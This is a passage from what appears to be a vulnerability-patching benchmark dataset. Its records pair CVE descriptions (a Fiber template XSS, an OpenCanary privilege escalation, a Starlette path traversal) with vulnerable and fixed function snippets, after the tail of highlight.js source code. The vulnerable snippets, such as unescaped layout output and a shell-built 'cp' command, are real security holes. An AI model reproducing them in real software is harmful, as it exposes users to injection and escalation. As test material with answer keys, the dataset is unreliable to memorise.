useBR: false,\n    languages: null,\n    // beta configuration options, subject to change, welcome to discuss\n    // https://github.com/highlightjs/highlight.js/issues/1086\n    __emitter: TokenTreeEmitter\n  };\n\n  /* Utility functions */\n\n  /**\n   * Tests a language name to see if highlighting should be skipped\n   * @param {string} languageName\n   */\n  function shouldNotHighlight(languageName) {\n    return options.noHighlightRe.test(languageName);\n  }\n\n  /**\n   * @param {HighlightedHTMLElement} block - the HTML element to determine language for\n   */\n  function blockLanguage(block) {\n    var classes = block.className + ' ';\n\n    classes += block.parentNode ? block.parentNode.className : '';\n\n    // language-* takes precedence over non-prefixed class names.\n    const match = options.languageDetectRe.exec(classes);\n    if (match) {\n      var language = getLanguage(match[1]);\n      if (!language) {\n        console.warn(LANGUAGE_NOT_FOUND.replace(\"{}\", match[1]));\n        console.warn(\"Falling back to no-highlight mode for this block.\", block);\n      }\n      return language ? match[1] : 'no-highlight';\n    }\n\n    return classes\n      .split(/\\s+/)\n      .find((_class) => shouldNotHighlight(_class) || getLanguage(_class));\n  }\n\n  /**\n   * Core highlighting function.\n   *\n   * @param {string} languageName - the language to use for highlighting\n   * @param {string} code - the code to highlight\n   * @param {boolean} [ignoreIllegals] - whether to ignore illegal matches, default is to bail\n   * @param {Mode} [continuation] - current continuation mode, if any\n   *\n   * @returns {HighlightResult} Result - an object that represents the result\n   * @property {string} language - the language name\n   * @property {number} relevance - the relevance score\n   * @property {string} value - the highlighted HTML code\n   * @property {string} code - the original raw code\n   * @property {Mode} top - top of the current mode stack\n   * @property {boolean} illegal - indicates whether any illegal matches were found\n  */\n  function highlight(languageName, code, ignoreIllegals, continuation) {\n    /** @type {{ code: string, language: string, result?: any }} */\n    var context = {\n      code,\n      language: languageName\n    };\n    // the plugin can change the desired language or the code to be highlighted\n    // just be changing the object it was passed\n    fire(\"before:highlight\", context);\n\n    // a before plugin can usurp the result completely by providing it's own\n    // in which case we don't even need to call highlight\n    var result = context.result ?\n      context.result :\n      _highlight(context.language, context.code, ignoreIllegals, continuation);\n\n    result.code = context.code;\n    // the plugin can change anything in result to suite it\n    fire(\"after:highlight\", result);\n\n    return result;\n  }\n\n  /**\n   * private highlight that's used internally and does not fire callbacks\n   *\n   * @param {string} languageName - the language to use for highlighting\n   * @param {string} code - the code to highlight\n   * @param {boolean} [ignoreIllegals] - whether to ignore illegal matches, default is to bail\n   * @param {Mode} [continuation] - current continuation mode, if any\n  */\n  function _highlight(languageName, code, ignoreIllegals, continuation) {\n    var codeToHighlight = code;\n\n    /**\n     * Return keyword data if a match is a keyword\n     * @param {CompiledMode} mode - current mode\n     * @param {RegExpMatchArray} match - regexp match data\n     * @returns {KeywordData | false}\n     */\n    function keywordData(mode, match) {\n      var matchText = language.case_insensitive ? match[0].toLowerCase() : match[0];\n      return Object.prototype.hasOwnProperty.call(mode.keywords, matchText) && mode.keywords[matchText];\n    }\n\n    function processKeywords() {\n      if (!top.keywords) {\n        emitter.addText(mode_buffer);\n        return;\n      }\n\n      let last_index = 0;\n      top.keywordPatternRe.lastIndex = 0;\n      let match = top.keywordPatternRe.exec(mode_buffer);\n      let buf = \"\";\n\n      while (match) {\n        buf += mode_buffer.substring(last_index, match.index);\n        const data = keywordData(top, match);\n        if (data) {\n          const [kind, keywordRelevance] = data;\n          emitter.addText(buf);\n          buf = \"\";\n\n          relevance += keywordRelevance;\n          emitter.addKeyword(match[0], kind);\n        } else {\n          buf += match[0];\n        }\n        last_index = top.keywordPatternRe.lastIndex;\n        match = top.keywordPatternRe.exec(mode_buffer);\n      }\n      buf += mode_buffer.substr(last_index);\n      emitter.addText(buf);\n    }\n\n    function processSubLanguage() {\n      if (mode_buffer === \"\") return;\n      /** @type HighlightResult */\n      var result = null;\n\n      if (typeof top.subLanguage === 'string') {\n        if (!languages[top.subLanguage]) {\n          emitter.addText(mode_buffer);\n          return;\n        }\n        result = _highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]);\n        continuations[top.subLanguage] = result.top;\n      } else {\n        result = highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : null);\n      }\n\n      // Counting embedded language score towards the host language may be disabled\n      // with zeroing the containing mode relevance. Use case in point is Markdown that\n      // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n      // score.\n      if (top.relevance > 0) {\n        relevance += result.relevance;\n      }\n      emitter.addSublanguage(result.emitter, result.language);\n    }\n\n    function processBuffer() {\n      if (top.subLanguage != null) {\n        processSubLanguage();\n      } else {\n        processKeywords();\n      }\n      mode_buffer = '';\n    }\n\n    /**\n     * @param {Mode} mode - new mode to start\n     */\n    function startNewMode(mode) {\n      if (mode.className) {\n        emitter.openNode(mode.className);\n      }\n      top = Object.create(mode, { parent: { value: top } });\n      return top;\n    }\n\n    /**\n     * @param {CompiledMode } mode - the mode to potentially end\n     * @param {RegExpMatchArray} match - the latest match\n     * @param {string} matchPlusRemainder - match plus remainder of content\n     * @returns {CompiledMode | void} - the next mode, or if void continue on in current mode\n     */\n    function endOfMode(mode, match, matchPlusRemainder) {\n      let matched = regex.startsWith(mode.endRe, matchPlusRemainder);\n\n      if (matched) {\n        if (mode[\"on:end\"]) {\n          const resp = new Response(mode);\n          mode[\"on:end\"](match, resp);\n          if (resp.ignore) matched = false;\n        }\n\n        if (matched) {\n          while (mode.endsParent && mode.parent) {\n            mode = mode.parent;\n          }\n          return mode;\n        }\n      }\n      // even if on:end fires an `ignore` it's still possible\n      // that we might trigger the end node because of a parent mode\n      if (mode.endsWithParent) {\n        return endOfMode(mode.parent, match, matchPlusRemainder);\n      }\n    }\n\n    /**\n     * Handle matching but then ignoring a sequence of text\n     *\n     * @param {string} lexeme - string containing full match text\n     */\n    function doIgnore(lexeme) {\n      if (top.matcher.regexIndex === 0) {\n        // no more regexs to potentially match here, so we move the cursor forward one\n        // space\n        mode_buffer += lexeme[0];\n        return 1;\n      } else {\n        // no need to move the cursor, we still have additional regexes to try and\n        // match at this very spot\n        continueScanAtSamePosition = true;\n        return 0;\n      }\n    }\n\n    /**\n     * Handle the start of a new potential mode match\n     *\n     * @param {EnhancedMatch} match - the current match\n     * @returns {number} how far to advance the parse cursor\n     */\n    function doBeginMatch(match) {\n      var lexeme = match[0];\n      var new_mode = match.rule;\n\n      const resp = new Response(new_mode);\n      // first internal before callbacks, then the public ones\n      const beforeCallbacks = [new_mode.__beforeBegin, new_mode[\"on:begin\"]];\n      for (const cb of beforeCallbacks) {\n        if (!cb) continue;\n        cb(match, resp);\n        if (resp.ignore) return doIgnore(lexeme);\n      }\n\n      if (new_mode && new_mode.endSameAsBegin) {\n        new_mode.endRe = regex.escape(lexeme);\n      }\n\n      if (new_mode.skip) {\n        mode_buffer += lexeme;\n      } else {\n        if (new_mode.excludeBegin) {\n          mode_buffer += lexeme;\n        }\n        processBuffer();\n        if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n          mode_buffer = lexeme;\n        }\n      }\n      startNewMode(new_mode);\n      // if (mode[\"after:begin\"]) {\n      //   let resp = new Response(mode);\n      //   mode[\"after:begin\"](match, resp);\n      // }\n      return new_mode.returnBegin ? 0 : lexeme.length;\n    }\n\n    /**\n     * Handle the potential end of mode\n     *\n     * @param {RegExpMatchArray} match - the current match\n     */\n    function doEndMatch(match) {\n      var lexeme = match[0];\n      var matchPlusRemainder = codeToHighlight.substr(match.index);\n\n      var end_mode = endOfMode(top, match, matchPlusRemainder);\n      if (!end_mode) { return NO_MATCH; }\n\n      var origin = top;\n      if (origin.skip) {\n        mode_buffer += lexeme;\n      } else {\n        if (!(origin.returnEnd || origin.excludeEnd)) {\n          mode_buffer += lexeme;\n        }\n        processBuffer();\n        if (origin.excludeEnd) {\n          mode_buffer = lexeme;\n        }\n      }\n      do {\n        if (top.className) {\n          emitter.closeNode();\n        }\n        if (!top.skip && !top.subLanguage) {\n          relevance += top.relevance;\n        }\n        top = top.parent;\n      } while (top !== end_mode.parent);\n      if (end_mode.starts) {\n        if (end_mode.endSameAsBegin) {\n          end_mode.starts.endRe = end_mode.endRe;\n        }\n        startNewMode(end_mode.starts);\n      }\n      return origin.returnEnd ? 0 : lexeme.length;\n    }\n\n    function processContinuations() {\n      var list = [];\n      for (var current = top; current !== language; current = current.parent) {\n        if (current.className) {\n          list.unshift(current.className);\n        }\n      }\n      list.forEach(item => emitter.openNode(item));\n    }\n\n    /** @type {{type?: MatchType, index?: number, rule?: Mode}}} */\n    var lastMatch = {};\n\n    /**\n     *  Process an individual match\n     *\n     * @param {string} textBeforeMatch - text preceeding the match (since the last match)\n     * @param {EnhancedMatch} [match] - the match itself\n     */\n    function processLexeme(textBeforeMatch, match) {\n      var lexeme = match && match[0];\n\n      // add non-matched text to the current mode buffer\n      mode_buffer += textBeforeMatch;\n\n      if (lexeme == null) {\n        processBuffer();\n        return 0;\n      }\n\n      // we've found a 0 width match and we're stuck, so we need to advance\n      // this happens when we have badly behaved rules that have optional matchers to the degree that\n      // sometimes they can end up matching nothing at all\n      // Ref: https://github.com/highlightjs/highlight.js/issues/2140\n      if (lastMatch.type === \"begin\" && match.type === \"end\" && lastMatch.index === match.index && lexeme === \"\") {\n        // spit the \"skipped\" character that our regex choked on back into the output sequence\n        mode_buffer += codeToHighlight.slice(match.index, match.index + 1);\n        if (!SAFE_MODE) {\n          /** @type {AnnotatedError} */\n          const err = new Error('0 width match regex');\n          err.languageName = languageName;\n          err.badRule = lastMatch.rule;\n          throw err;\n        }\n        return 1;\n      }\n      lastMatch = match;\n\n      if (match.type === \"begin\") {\n        return doBeginMatch(match);\n      } else if (match.type === \"illegal\" && !ignoreIllegals) {\n        // illegal match, we do not continue processing\n        /** @type {AnnotatedError} */\n        const err = new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '') + '\"');\n        err.mode = top;\n        throw err;\n      } else if (match.type === \"end\") {\n        var processed = doEndMatch(match);\n        if (processed !== NO_MATCH) {\n          return processed;\n        }\n      }\n\n      // edge case for when illegal matches $ (end of line) which is technically\n      // a 0 width match but not a begin/end match so it's not caught by the\n      // first handler (when ignoreIllegals is true)\n      if (match.type === \"illegal\" && lexeme === \"\") {\n        // advance so we aren't stuck in an infinite loop\n        return 1;\n      }\n\n      // infinite loops are BAD, this is a last ditch catch all. if we have a\n      // decent number of iterations yet our index (cursor position in our\n      // parsing) still 3x behind our index then something is very wrong\n      // so we bail\n      if (iterations > 100000 && iterations > match.index * 3) {\n        const err = new Error('potential infinite loop, way more iterations than matches');\n        throw err;\n      }\n\n      /*\n      Why might be find ourselves here?  Only one occasion now.  An end match that was\n      triggered but could not be completed.  When might this happen?  When an `endSameasBegin`\n      rule sets the end rule to a specific match.  Since the overall mode termination rule that's\n      being used to scan the text isn't recompiled that means that any match that LOOKS like\n      the end (but is not, because it is not an exact match to the beginning) will\n      end up here.  A definite end match, but when `doEndMatch` tries to \"reapply\"\n      the end rule and fails to match, we wind up here, and just silently ignore the end.\n\n      This causes no real harm other than stopping a few times too many.\n      */\n\n      mode_buffer += lexeme;\n      return lexeme.length;\n    }\n\n    var language = getLanguage(languageName);\n    if (!language) {\n      console.error(LANGUAGE_NOT_FOUND.replace(\"{}\", languageName));\n      throw new Error('Unknown language: \"' + languageName + '\"');\n    }\n\n    var md = compileLanguage(language);\n    var result = '';\n    /** @type {CompiledMode} */\n    var top = continuation || md;\n    /** @type Record */\n    var continuations = {}; // keep continuations for sub-languages\n    var emitter = new options.__emitter(options);\n    processContinuations();\n    var mode_buffer = '';\n    var relevance = 0;\n    var index = 0;\n    var iterations = 0;\n    var continueScanAtSamePosition = false;\n\n    try {\n      top.matcher.considerAll();\n\n      for (;;) {\n        iterations++;\n        if (continueScanAtSamePosition) {\n          // only regexes not matched previously will now be\n          // considered for a potential match\n          continueScanAtSamePosition = false;\n        } else {\n          top.matcher.lastIndex = index;\n          top.matcher.considerAll();\n        }\n        const match = top.matcher.exec(codeToHighlight);\n        // console.log(\"match\", match[0], match.rule && match.rule.begin)\n        if (!match) break;\n\n        const beforeMatch = codeToHighlight.substring(index, match.index);\n        const processedCount = processLexeme(beforeMatch, match);\n        index = match.index + processedCount;\n      }\n      processLexeme(codeToHighlight.substr(index));\n      emitter.closeAllNodes();\n      emitter.finalize();\n      result = emitter.toHTML();\n\n      return {\n        relevance: relevance,\n        value: result,\n        language: languageName,\n        illegal: false,\n        emitter: emitter,\n        top: top\n      };\n    } catch (err) {\n      if (err.message && err.message.includes('Illegal')) {\n        return {\n          illegal: true,\n          illegalBy: {\n            msg: err.message,\n            context: codeToHighlight.slice(index - 100, index + 100),\n            mode: err.mode\n          },\n          sofar: result,\n          relevance: 0,\n          value: escape(codeToHighlight),\n          emitter: emitter\n        };\n      } else if (SAFE_MODE) {\n        return {\n          illegal: false,\n          relevance: 0,\n          value: escape(codeToHighlight),\n          emitter: emitter,\n          language: languageName,\n          top: top,\n          errorRaised: err\n        };\n      } else {\n        throw err;\n      }\n    }\n  }\n\n  /**\n   * returns a valid highlight result, without actually doing any actual work,\n   * auto highlight starts with this and it's possible for small snippets that\n   * auto-detection may not find a better match\n   * @param {string} code\n   * @returns {HighlightResult}\n   */\n  function justTextHighlightResult(code) {\n    const result = {\n      relevance: 0,\n      emitter: new options.__emitter(options),\n      value: escape(code),\n      illegal: false,\n      top: PLAINTEXT_LANGUAGE\n    };\n    result.emitter.addText(code);\n    return result;\n  }\n\n  /**\n  Highlighting with language detection. Accepts a string with the code to\n  highlight. Returns an object with the following properties:\n\n  - language (detected language)\n  - relevance (int)\n  - value (an HTML string with highlighting markup)\n  - second_best (object with the same structure for second-best heuristically\n    detected language, may be absent)\n\n    @param {string} code\n    @param {Array} [languageSubset]\n    @returns {AutoHighlightResult}\n  */\n  function highlightAuto(code, languageSubset) {\n    languageSubset = languageSubset || options.languages || Object.keys(languages);\n    var result = justTextHighlightResult(code);\n    var secondBest = result;\n    languageSubset.filter(getLanguage).filter(autoDetection).forEach(function(name) {\n      var current = _highlight(name, code, false);\n      current.language = name;\n      if (current.relevance > secondBest.relevance) {\n        secondBest = current;\n      }\n      if (current.relevance > result.relevance) {\n        secondBest = result;\n        result = current;\n      }\n    });\n    if (secondBest.language) {\n      // second_best (with underscore) is the expected API\n      result.second_best = secondBest;\n    }\n    return result;\n  }\n\n  /**\n  Post-processing of the highlighted markup:\n\n  - replace TABs with something more useful\n  - replace real line-breaks with '
' for non-pre containers\n\n @param {string} html\n @returns {string}\n */\n function fixMarkup(html) {\n if (!(options.tabReplace || options.useBR)) {\n return html;\n }\n\n return html.replace(fixMarkupRe, match => {\n if (match === '\\n') {\n return options.useBR ? '
' : match;\n } else if (options.tabReplace) {\n return match.replace(/\\t/g, options.tabReplace);\n }\n return match;\n });\n }\n\n /**\n * Builds new class name for block given the language name\n *\n * @param {string} prevClassName\n * @param {string} [currentLang]\n * @param {string} [resultLang]\n */\n function buildClassName(prevClassName, currentLang, resultLang) {\n var language = currentLang ? aliases[currentLang] : resultLang;\n var result = [prevClassName.trim()];\n\n if (!prevClassName.match(/\\bhljs\\b/)) {\n result.push('hljs');\n }\n\n if (!prevClassName.includes(language)) {\n result.push(language);\n }\n\n return result.join(' ').trim();\n }\n\n /**\n * Applies highlighting to a DOM node containing code. Accepts a DOM node and\n * two optional parameters for fixMarkup.\n *\n * @param {HighlightedHTMLElement} element - the HTML element to highlight\n */\n function highlightBlock(element) {\n /** @type HTMLElement */\n let node = null;\n const language = blockLanguage(element);\n\n if (shouldNotHighlight(language)) return;\n\n fire(\"before:highlightBlock\",\n { block: element, language: language });\n\n if (options.useBR) {\n node = document.createElement('div');\n node.innerHTML = element.innerHTML.replace(/\\n/g, '').replace(//g, '\\n');\n } else {\n node = element;\n }\n const text = node.textContent;\n const result = language ? highlight(language, text, true) : highlightAuto(text);\n\n const originalStream = nodeStream(node);\n if (originalStream.length) {\n const resultNode = document.createElement('div');\n resultNode.innerHTML = result.value;\n result.value = mergeStreams(originalStream, nodeStream(resultNode), text);\n }\n result.value = fixMarkup(result.value);\n\n fire(\"after:highlightBlock\", { block: element, result: result });\n\n element.innerHTML = result.value;\n element.className = buildClassName(element.className, language, result.language);\n element.result = {\n language: result.language,\n // TODO: remove with version 11.0\n re: result.relevance,\n relavance: result.relevance\n };\n if (result.second_best) {\n element.second_best = {\n language: result.second_best.language,\n // TODO: remove with version 11.0\n re: result.second_best.relevance,\n relavance: result.second_best.relevance\n };\n }\n }\n\n /**\n * Updates highlight.js global options with the passed options\n *\n * @param {{}} userOptions\n */\n function configure(userOptions) {\n options = inherit(options, userOptions);\n }\n\n /**\n * Highlights to all
 blocks on a page\n   *\n   * @type {Function & {called?: boolean}}\n   */\n  const initHighlighting = () => {\n    if (initHighlighting.called) return;\n    initHighlighting.called = true;\n\n    var blocks = document.querySelectorAll('pre code');\n    ArrayProto.forEach.call(blocks, highlightBlock);\n  };\n\n  // Higlights all when DOMContentLoaded fires\n  function initHighlightingOnLoad() {\n    // @ts-ignore\n    window.addEventListener('DOMContentLoaded', initHighlighting, false);\n  }\n\n  /**\n   * Register a language grammar module\n   *\n   * @param {string} languageName\n   * @param {LanguageFn} languageDefinition\n   */\n  function registerLanguage(languageName, languageDefinition) {\n    var lang = null;\n    try {\n      lang = languageDefinition(hljs);\n    } catch (error) {\n      console.error(\"Language definition for '{}' could not be registered.\".replace(\"{}\", languageName));\n      // hard or soft error\n      if (!SAFE_MODE) { throw error; } else { console.error(error); }\n      // languages that have serious errors are replaced with essentially a\n      // \"plaintext\" stand-in so that the code blocks will still get normal\n      // css classes applied to them - and one bad language won't break the\n      // entire highlighter\n      lang = PLAINTEXT_LANGUAGE;\n    }\n    // give it a temporary name if it doesn't have one in the meta-data\n    if (!lang.name) lang.name = languageName;\n    languages[languageName] = lang;\n    lang.rawDefinition = languageDefinition.bind(null, hljs);\n\n    if (lang.aliases) {\n      registerAliases(lang.aliases, { languageName });\n    }\n  }\n\n  /**\n   * @returns {string[]} List of language internal names\n   */\n  function listLanguages() {\n    return Object.keys(languages);\n  }\n\n  /**\n    intended usage: When one language truly requires another\n\n    Unlike `getLanguage`, this will throw when the requested language\n    is not available.\n\n    @param {string} name - name of the language to fetch/require\n    @returns {Language | never}\n  */\n  function requireLanguage(name) {\n    var lang = getLanguage(name);\n    if (lang) { return lang; }\n\n    var err = new Error('The \\'{}\\' language is required, but not loaded.'.replace('{}', name));\n    throw err;\n  }\n\n  /**\n   * @param {string} name - name of the language to retrieve\n   * @returns {Language | undefined}\n   */\n  function getLanguage(name) {\n    name = (name || '').toLowerCase();\n    return languages[name] || languages[aliases[name]];\n  }\n\n  /**\n   *\n   * @param {string|string[]} aliasList - single alias or list of aliases\n   * @param {{languageName: string}} opts\n   */\n  function registerAliases(aliasList, { languageName }) {\n    if (typeof aliasList === 'string') {\n      aliasList = [aliasList];\n    }\n    aliasList.forEach(alias => { aliases[alias] = languageName; });\n  }\n\n  /**\n   * Determines if a given language has auto-detection enabled\n   * @param {string} name - name of the language\n   */\n  function autoDetection(name) {\n    var lang = getLanguage(name);\n    return lang && !lang.disableAutodetect;\n  }\n\n  /**\n   * @param {HLJSPlugin} plugin\n   */\n  function addPlugin(plugin) {\n    plugins.push(plugin);\n  }\n\n  /**\n   *\n   * @param {PluginEvent} event\n   * @param {any} args\n   */\n  function fire(event, args) {\n    var cb = event;\n    plugins.forEach(function(plugin) {\n      if (plugin[cb]) {\n        plugin[cb](args);\n      }\n    });\n  }\n\n  /* Interface definition */\n\n  Object.assign(hljs, {\n    highlight,\n    highlightAuto,\n    fixMarkup,\n    highlightBlock,\n    configure,\n    initHighlighting,\n    initHighlightingOnLoad,\n    registerLanguage,\n    listLanguages,\n    getLanguage,\n    registerAliases,\n    requireLanguage,\n    autoDetection,\n    inherit,\n    addPlugin\n  });\n\n  hljs.debugMode = function() { SAFE_MODE = false; };\n  hljs.safeMode = function() { SAFE_MODE = true; };\n  hljs.versionString = packageJSON.version;\n\n  for (const key in MODES) {\n    // @ts-ignore\n    if (typeof MODES[key] === \"object\") {\n      // @ts-ignore\n      deepFreeze(MODES[key]);\n    }\n  }\n\n  // merge all the modes/regexs into our main object\n  Object.assign(hljs, MODES);\n\n  return hljs;\n};"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-26237"
    },
    {
        "cve_id": "CVE-2024-22199",
        "cve_description": "The Django/Pongo2 template engine adapter for Fiber renders template variables without HTML autoescaping by default. In applications that pass attacker-controlled data into template render bindings, including values reached through nested maps or other template-accessible data structures, malicious HTML or JavaScript markup can be emitted into the response and interpreted by the browser, enabling cross-site scripting. The vulnerable behavior occurs during normal template rendering, including rendering through layouts, whenever user-supplied values are interpolated into HTML output.",
        "cwe_info": {
            "CWE-116": {
                "name": "Improper Encoding or Escaping of Output",
                "description": "The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved."
            }
        },
        "repo": "https://github.com/gofiber/template",
        "patch_url": [
            "https://github.com/gofiber/template/commit/28cff3ac4d4c117ab25b5396954676d624b6cb46"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_79_1",
                "commit": "fd5a1ab847ebbf537447561827f310ba70fd0998",
                "file_path": "django/django.go",
                "start_line": 211,
                "end_line": 245,
                "snippet": "func (e *Engine) Render(out io.Writer, name string, binding interface{}, layout ...string) error {\n\tif !e.Loaded || e.ShouldReload {\n\t\tif e.ShouldReload {\n\t\t\te.Loaded = false\n\t\t}\n\t\tif err := e.Load(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\ttmpl, ok := e.Templates[name]\n\tif !ok {\n\t\treturn fmt.Errorf(\"template %s does not exist\", name)\n\t}\n\n\tbind := getPongoBinding(binding)\n\tparsed, err := tmpl.Execute(bind)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(layout) > 0 && layout[0] != \"\" {\n\t\tif bind == nil {\n\t\t\tbind = make(map[string]interface{}, 1)\n\t\t}\n\t\tbind[e.LayoutName] = parsed\n\t\tlay := e.Templates[layout[0]]\n\t\tif lay == nil {\n\t\t\treturn fmt.Errorf(\"LayoutName %s does not exist\", layout[0])\n\t\t}\n\t\treturn lay.ExecuteWriter(bind, out)\n\t}\n\tif _, err = out.Write([]byte(parsed)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            24
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_79_1",
                "commit": "28cff3ac4d4c117ab25b5396954676d624b6cb46",
                "file_path": "django/django.go",
                "start_line": 222,
                "end_line": 265,
                "snippet": "func (e *Engine) Render(out io.Writer, name string, binding interface{}, layout ...string) error {\n\tif !e.Loaded || e.ShouldReload {\n\t\tif e.ShouldReload {\n\t\t\te.Loaded = false\n\t\t}\n\t\tif err := e.Load(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\ttmpl, ok := e.Templates[name]\n\tif !ok {\n\t\treturn fmt.Errorf(\"template %s does not exist\", name)\n\t}\n\n\tbind := getPongoBinding(binding)\n\tparsed, err := tmpl.Execute(bind)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(layout) > 0 && layout[0] != \"\" {\n\t\tif bind == nil {\n\t\t\tbind = make(map[string]interface{}, 1)\n\t\t}\n\n\t\t// Workaround for custom {{embed}} tag\n\t\t// Mark the `embed` variable as safe\n\t\t// it has already been escaped above\n\t\t// e.LayoutName will be 'embed'\n\t\tsafeEmbed := pongo2.AsSafeValue(parsed)\n\n\t\t// Add the safe value to the binding map\n\t\tbind[e.LayoutName] = safeEmbed\n\n\t\tlay := e.Templates[layout[0]]\n\t\tif lay == nil {\n\t\t\treturn fmt.Errorf(\"LayoutName %s does not exist\", layout[0])\n\t\t}\n\t\treturn lay.ExecuteWriter(bind, out)\n\t}\n\tif _, err = out.Write([]byte(parsed)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-22199"
    },
    {
        "cve_id": "CVE-2024-48911",
        "cve_description": "OpenCanary can cross a privilege boundary when the daemon is started with elevated privileges but its configuration is discovered from locations writable by an unprivileged user, such as the current working directory or the user's home directory. An attacker who can control those configuration files, or the environment used while they are parsed, may influence command execution paths during configuration loading, error handling, or modules that build privileged system commands from configuration values. This can allow local privilege escalation by causing attacker-controlled commands or command arguments to run with the daemon's privileges.",
        "cwe_info": {
            "CWE-863": {
                "name": "Incorrect Authorization",
                "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."
            }
        },
        "repo": "https://github.com/thinkst/opencanary",
        "patch_url": [
            "https://github.com/thinkst/opencanary/commit/2c11575b1a3dd8b0df26a879ba856c0aa350c049"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_63_1",
                "commit": "d3956bc",
                "file_path": "opencanary/config.py",
                "start_line": 52,
                "end_line": 84,
                "snippet": "    def __init__(self, configfile=SETTINGS):\n        self.__config = None\n        self.__configfile = configfile\n\n        files = [\n            configfile,\n            \"%s/.%s\" % (expanduser(\"~\"), configfile),\n            \"/etc/opencanaryd/%s\" % configfile,\n        ]\n        print(\n            \"** We hope you enjoy using OpenCanary. For more open source Canary goodness, head over to canarytokens.org. **\"\n        )\n        for fname in files:\n            try:\n                with open(fname, \"r\") as f:\n                    print(\"[-] Using config file: %s\" % fname)\n                    self.__config = json.load(f)\n                    self.__config = expand_vars(self.__config)\n                return\n            except IOError as e:\n                print(\"[-] Failed to open %s for reading (%s)\" % (fname, e))\n            except ValueError as e:\n                print(\"[-] Failed to decode json from %s (%s)\" % (fname, e))\n                subprocess.call(\n                    \"cp -r %s /var/tmp/config-err-$(date +%%s)\" % fname, shell=True\n                )\n            except Exception as e:\n                print(\"[-] An error occurred loading %s (%s)\" % (fname, e))\n        if self.__config is None:\n            print(\n                'No config file found. Please create one with \"opencanaryd --copyconfig\"'\n            )\n            sys.exit(1)",
                "vul_localization": [
                    {
                        "patch_lines": [
                            6,
                            7,
                            8,
                            9,
                            10
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            24,
                            25,
                            26
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            18
                        ],
                        "tag": "add"
                    }
                ]
            },
            {
                "id": "vul_py_63_2",
                "commit": "d3956bc",
                "file_path": "opencanary/modules/portscan.py",
                "start_line": 70,
                "end_line": 71,
                "snippet": "def detectNFTables():\n    return b\"nf_tables\" in subprocess.check_output([\"iptables\", \"--version\"])",
                "vul_localization": [
                    {
                        "patch_lines": [
                            2
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_63_1",
                "commit": "2c11575",
                "file_path": "opencanary/config.py",
                "start_line": 52,
                "end_line": 87,
                "snippet": "    def __init__(self, configfile=SETTINGS):\n        self.__config = None\n        self.__configfile = configfile\n\n        files = [\n            \"/etc/opencanaryd/%s\" % configfile,\n            \"%s/.%s\" % (expanduser(\"~\"), configfile),\n            configfile,\n        ]\n        print(\n            \"** We hope you enjoy using OpenCanary. For more open source Canary goodness, head over to canarytokens.org. **\"\n        )\n        for fname in files:\n            try:\n                with open(fname, \"r\") as f:\n                    print(\"[-] Using config file: %s\" % fname)\n                    self.__config = json.load(f)\n                    self.__config = expand_vars(self.__config)\n                if fname is configfile:\n                    print(\n                        \"[-] Warning, making use of the configuration file in the immediate directory is not recommended! Suggested locations: %s\"\n                        % \", \".join(files[:2])\n                    )\n                return\n            except IOError as e:\n                print(\"[-] Failed to open %s for reading (%s)\" % (fname, e))\n            except ValueError as e:\n                print(\"[-] Failed to decode json from %s (%s)\" % (fname, e))\n                safe_exec(\"cp\", [\"-r\", fname, \"/var/tmp/config-err-$(date +%%s)\"])\n            except Exception as e:\n                print(\"[-] An error occurred loading %s (%s)\" % (fname, e))\n        if self.__config is None:\n            print(\n                'No config file found. Please create one with \"opencanaryd --copyconfig\"'\n            )\n            sys.exit(1)"
            },
            {
                "id": "fix_py_63_2",
                "commit": "2c11575",
                "file_path": "opencanary/modules/portscan.py",
                "start_line": 70,
                "end_line": 71,
                "snippet": "def detectNFTables():\n    return b\"nf_tables\" in safe_exec(\"iptables\", [\"--version\"])"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-48911"
    },
    {
        "cve_id": "CVE-2023-29159",
        "cve_description": "Directory traversal vulnerability in Starlette versions 0.13.5 and later and prior to 0.27.0 allows a remote unauthenticated attacker to view files in a web service which was built using Starlette.",
        "cwe_info": {
            "CWE-73": {
                "name": "External Control of File Name or Path",
                "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/encode/starlette",
        "patch_url": [
            "https://github.com/encode/starlette/commit/1797de464124b090f10cf570441e8292936d63e3"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_58_1",
                "commit": "24c1fac",
                "file_path": "starlette/staticfiles.py",
                "start_line": 162,
                "end_line": 180,
